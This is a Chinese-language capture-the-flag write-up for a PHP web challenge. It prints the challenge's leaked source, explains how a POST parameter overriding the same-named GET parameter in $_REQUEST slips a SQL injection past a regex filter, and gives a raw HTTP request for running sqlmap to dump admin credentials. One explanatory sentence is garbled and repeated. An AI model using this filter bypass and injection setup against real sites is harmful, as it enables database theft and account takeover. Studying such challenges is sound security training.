掃描器掃到robots.txt ,訪問:http://xxx.com/robots.txt
有一個admin,但訪問需要輸入賬號和密碼。
嘗試訪問: http://xxx.com/index.phps 。得到源代碼如下:
<?php
require_once 'lib.php';
header('X-XSS-Protection: 0');
$cols = array(
"e8c4-437b-9476",
"849e-416e-acf7",
"7f9d-470f-8698",
"c8bb-4695-93f7",
"5fbc-4729-8821",
"3ad3-46c3-b975",
"f44f-4cc9-a5e0",
"0c3f-42c8-a0ae"
);
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
$ad = get_ad($_GET['id']);
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<?php echo $ad['description'] ?><br />
<a href="/">Home</a>
</CENTER>
</BODY>
</HTML>
<?php
die;
}
?>
對於 REQUEST[‘id′],進行了“嚴格”的正則匹配,不能正常的注出數據。接下來通過REQUEST[‘id′],進行了“嚴格”的正則匹配,不能正常的注出數據。接下來通過_GET[‘id’] 將其帶入數據庫中查詢並返回結果給頁面。
這里考察了一個知識。$_REQUEST變量默認情況下包含了 GET,GET,_POST 和 $_COOKIE 的數組。在 php.ini 配置文件中,有一個參數variables_order

其中幾個字母(EGPCS)對應如下: Environment, Get, Post, Cookie, Server。這些字母的出現順序,表明了數據的加載順序。從三種默認配置來看,相對順序均是GP,也就是說只要有POST參數進來,那么它就會覆蓋同名的GET參數。如下圖;

所以就本題而言,如果在GET參數id處注入數據(比如 union select),而同時我們又通過POST方法傳入一個id參數,那么服務器檢測的是無害的POST數據,而在進行查詢時帶入的是有害的GET數據。
將如下數據包保存為test.txt,用sqlmap跑:
POST /?id=* HTTP/1.1 Host: naughtyads.alieni.se User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 18 id= 0c3f-42c8-a0ae

得到賬號密碼,登陸 http://xxxx.com/admin/ 在Phone number處填上555-31338,提交后得到flag:
